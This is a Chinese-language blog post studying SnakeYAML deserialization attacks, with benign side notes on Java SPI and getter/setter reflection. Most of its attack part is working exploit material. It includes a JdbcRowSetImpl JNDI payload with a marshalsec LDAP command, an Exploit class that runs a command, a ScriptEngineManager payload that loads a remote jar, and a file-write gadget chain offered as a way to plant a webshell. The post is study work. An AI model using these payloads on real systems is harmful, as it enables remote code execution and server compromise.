snakeyaml

CVE-2022,很新的洞了

环境 java 8u66

snakeyaml 1.27

使用例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import org.yaml.snakeyaml.Yaml;

public class Main {
public static void main(String[] args) {
Yaml yaml = new Yaml();
Person person = new Person("mike", 18);
String str = yaml.dump(person);
System.out.println(str);

Person person2 = (Person) yaml.load(str);
System.out.println(person2);
}
}

dump序列化,load反序列化。

可以加载对象,序列化触发get,反序列化触发set。

这一看不就是和fastjson差不多吗?直接打JNDI试试。

JdbcRowSetImpl:

POC:

1
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/Exploit, autoCommit: true}

开启ldap服务器:

1
D:\java11_low_version\bin\java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8082/#Exploit 1389

恶意exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

运行:

1
2
3
4
5
6
7
8
9
10
11
package org.example;

import org.yaml.snakeyaml.Yaml;

public class Main {
public static void main(String[] args) {
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/Exploit, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

漏洞分析:

和fastjson很像,但是又不太一样。

审一下:

Image

Image

一路跟断点来到:

Image

Image

一共执行了3轮,第一轮解析了JdbcRowSetImpl这个类,然后解析其键值,一共两个键值,解析两次。

第2轮data为DataSourceName,来到safeConstructor:

Image

经过两轮迭代后,key解析完毕,然后解析value:

在这个方法执行了set方法:

Image

Image

跟进set:

Image

到这里就到了JdbcRowSetImpl链的setAutoCommit方法了。

小问题:

我现在都不知道java到底如何获取getter setter?

是自己写反射?还是jdk就有工具?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import com.sun.javaws.jnl.PropertyDesc;
import org.yaml.snakeyaml.Yaml;
import org.example.Person;

import java.beans.PropertyDescriptor;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws Exception {
PropertyDescriptor pd = new PropertyDescriptor("username", Person.class);

Method getter = pd.getReadMethod();
Method setter = pd.getWriteMethod();

System.out.println("Getter Method: " + getter.getName());
System.out.println("Setter Method: " + setter.getName());
}
}

这里用的是PropertyDescriptor,是java.Bean下的一个类。

getReadMethod获取的是getter,getWriteMethod获取的是setter。

比如我要写值:

img

getWriteMethod().invoke(object, data);

ScriptEngineManager

ScriptEngineManager:

先来学下什么是SPI:

实际例子:mysql-connector,众所周知mysql有很多版本如mariadb,mysql,要加载这些,怎么优雅简洁的加载呢?

就要用到SPI了。

例:

1
2
3
4
5
package org.example;

public interface HelloSPI {
void sayHello();
}

然后有两个实现类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

public class ImageHello implements HelloSPI{
@Override
public void sayHello() {
System.out.println("This is image hello");
}
}

package org.example;

public class TextHello implements HelloSPI {
public void sayHello() {
System.out.println("Text Hello");
}
}

然后需要配置文件,在resources/META-INF/services/

添加org.example.HelloSPI

文件内容:

org.example.ImageHello

org.example.TextHello

其实就是那两个实现类。

SPIDemo:

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import java.util.ServiceLoader;

public class SPIDemo {
public static void main(String[] args) {
ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class);
for(HelloSPI helloSPI : serviceLoader) {
helloSPI.sayHello();
}
}
}

通过serviceLoader就可以加载所有的服务了。比如使用mysql-connector,就可以有所有版本的连接了。

ServiceLoader实现了Iterator接口,具体请直接去看类的代码,其作用如下:

首先,ServiceLoader实现了Iterable接口,所以它有迭代器的属性,这里主要都是实现了迭代器的hasNext和next方法。这里主要都是调用的lookupIterator的相应hasNext和next方法,lookupIterator是懒加载迭代器。

其次,LazyIterator中的hasNext方法,静态变量PREFIX就是”META-INF/services/”目录,这也就是为什么需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件。

最后,通过反射方法Class.forName()加载类对象,并用newInstance方法将类实例化,并把实例化后的类缓存到providers对象中,(LinkedHashMap<String,S>类型) 然后返回实例对象。

所以缺点也是显而易见的,实例化对象占资源较大。

验证:

1
2
3
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://acld0j.dnslog.cn\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);

Image

回到snakeyaml。

利用项目:

https://github.com/artsploit/yaml-payload.git

编译:

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

POC如下:

1
2
3
4
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8082/yaml-payload.jar"]
]]]

看下其项目文件:

Image

如图,其构造函数是命令执行的地方,这玩意实现了ScriptEngineManager类。

SPI配置文件:

Image

然后跟下断点:
img
前面都差不多,但是这里用的是ContructorSequence,而不是之前的SafeConstructor。
img
直接锁定这个方法。

经过来回断点,把功能搞明白了。
img
从内往外实例化对象,现实java.net.URL, 然后是其ClassLoader,然后是ScriptEngineManger。

来到第三次:
img
我们直接在ScriptEngineManager的构造函数打个断点。
img

img
最后在这个方法执行了代码。

我们不妨先猜一下,SPI里,Loader储存的都是实例化对象,
img

在第二次迭代来到:
img

到这里,loader用的是我们传入的URLClassLoader。泛型是ScriptEngineFactory
利用URLClassLoader寻找到jar包,然后实例化了
img
导致命令执行!

一些疑问:

1:关于URLClassloader如何远程加载jar文件并执行命令?

1
2
3
4
5
6
7
8
9
public class Questions {
public static void main(String[] args) throws Exception{
URL[] urls = {new URL("http://127.0.0.1:8082/yaml-payload.jar")};
URLClassLoader loader = new URLClassLoader(urls);

loader.loadClass("artsploit.AwesomeScriptEngineFactory").newInstance();

}
}

rt,远程加载jar包。

然后再套一层。

1
2
3
4
URL[] urls = {new URL("http://127.0.0.1:8082/yaml-payload.jar")};
URLClassLoader loader = new URLClassLoader(urls);

ScriptEngineManager scriptEngineManager = new ScriptEngineManager(loader);

2:为什么选择了SequenceConstructor而不是第一个链的SafeConstructor?

我探寻了一下,类里面套一层类,就被解析为SequenceNode。

然后是Constructor,像jdbcRowSetImpl利用链就被解析为MappingNode

不出网的利用

参考:https://xz.aliyun.com/t/10655

之前看过长亭的fastjson的commons-io写webshell,相当的精彩。

image-20240112195143936

如图,fastjson是会检查构造函数的,所以fastjson那个链找了6个类,还有循环引用才成功。

目前公开的jre 8 下写文件poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}

这个snakeyaml可以用,写了个poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.example;

import org.yaml.snakeyaml.Yaml;

import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;

public class Main {
public static void main(String[] args) {
Yaml yaml = new Yaml();

String originalData = "whoamipriv";
byte[] compressedData = compressData(originalData.getBytes());

String base64 = new String(Base64.getEncoder().encode(compressedData));
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"c:/users/daniel/desktop/1.txt\"],false],!!java.util.zip.Inflater { input: !!binary " + base64 +" },1048576]]";

yaml.load(poc);
}

private static byte[] compressData(byte[] data) {
Deflater deflater = new Deflater();
deflater.setInput(data);

ByteArrayOutputStream outputStream = new ByteArrayOutputStream(data.length);

deflater.finish();
byte[] buffer = new byte[1024];
while (!deflater.finished()) {
int count = deflater.deflate(buffer);
outputStream.write(buffer, 0, count);
}

deflater.end();
return outputStream.toByteArray();
}
}

hh写完才发现作者最下面给了poc了。

写完文件后,可以写webshell,写不了可以写个jar包用ScriptEngineManager加载jar。

完。


snakeyaml
http://example.com/2024/01/12/snakeyaml/
Aŭtoro
zhattatey
Postigita
January 12, 2024
Lizenta